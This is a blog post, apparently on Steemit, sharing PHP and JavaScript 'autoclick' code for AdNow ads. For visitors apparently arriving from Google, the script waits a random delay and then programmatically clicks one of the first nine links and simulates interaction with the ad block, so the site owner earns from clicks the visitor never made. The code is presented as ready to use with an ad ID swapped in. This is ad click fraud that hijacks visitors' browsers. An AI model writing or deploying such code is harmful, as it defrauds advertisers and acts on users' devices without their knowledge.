Autoclick code to generate actions automatically. Javascript PHP and HTML ADNOW

in autoclick •  7 years ago 

An autoclick is a code layers to automatically generate actions within a website. This code has been developed by me for what I ask to be respected the copyright and if they think to publish the code elsewhere is recommended this link.

It is very simple to use.


Just change the text: MY_ID_AD by the respective ad id or replace the entire ad by the link where they want the link to happen.

This code automatically generates the first 9 links located at the top and can be used to automatically capitalize on your adnow visitors


<?php 

//Maked by Gabriel Picon

// support: [email protected]

// Only is neccessary the segment in html but add all code for u get the idea How to make checks or restrictions before executing the code

@session_start();

$redim = $_SESSION['tipe'];

if($redim == 'http://www.google.com'){

$click  = $_SESSION['click'];

if($click==1){

?>



<script type="text/javascript">


var links = $('a[href]');

    var resultado=recorrerObjeto(links);

    var dir = Math.floor((Math.random() * 9) + 0);

    var calc = Math.floor((Math.random() * 29000) + 30000);

  

setTimeout(function(){


document.getElementsByTagName('a')[dir].removeAttribute('target');

var submitBtn2 = document.getElementsByTagName('a')[dir];

    if(submitBtn2){

      submitBtn2.click();

    }

var name = 'SC_TBlock_MY_ID_AD_'.concat(dir);


  window.SC_TeaserBlock.imgMouseOver(name, 'SC_TBlock_MY_ID_AD');

  window.SC_TeaserBlock.imgMouseOut(name, 'SC_TBlock_MY_ID_AD');

  var dirv = '#'.concat(name).concat('');



  //document.getElementById(name).removeAttribute('target');

  var submitBtn = document.getElementById(name);

    if(submitBtn){

     //submitBtn.click();

    }


 $(name).click(function() { 

location.href = ""+submitBtn2[dir]+"";

      //location.href = ""+links[dir]+"";  

      //window.open(links[dir], '_blank');

   });



}, calc);

    function recorrerObjeto(objeto){

        var respuesta="";

        for (var i in objeto){respuesta+=i+": "+objeto[i]+"<br>";}

// document.writeln(respuesta);

        return respuesta;

    }

</script>




<?php

$_SESSION['click']=0;

if (ini_get("session.use_cookies")) {

                    $params = session_get_cookie_params();

                    setcookie(session_name(), '', time() - 42000,

                        $params["path"], $params["domain"],

                        $params["secure"], $params["httponly"]

                    );

                }

               session_destroy();   

}

$_SESSION['click']=1;

   }

?>

<script type="text/javascript">

  (sc_adv_out = window.sc_adv_out || []).push({

    id : "MY_ID_AD",

    domain : "n.ads3-adnow.com"

  });

</script>

<script type="text/javascript" src="//st-n.ads3-adnow.com/js/adv_out.js"></script>

Authors get paid when people like you upvote their post.
If you enjoyed what you read here, create your account today and start earning FREE STEEM!
Sort Order:  

try to use next time the <code>YOUR_CODE</code> option to present source code.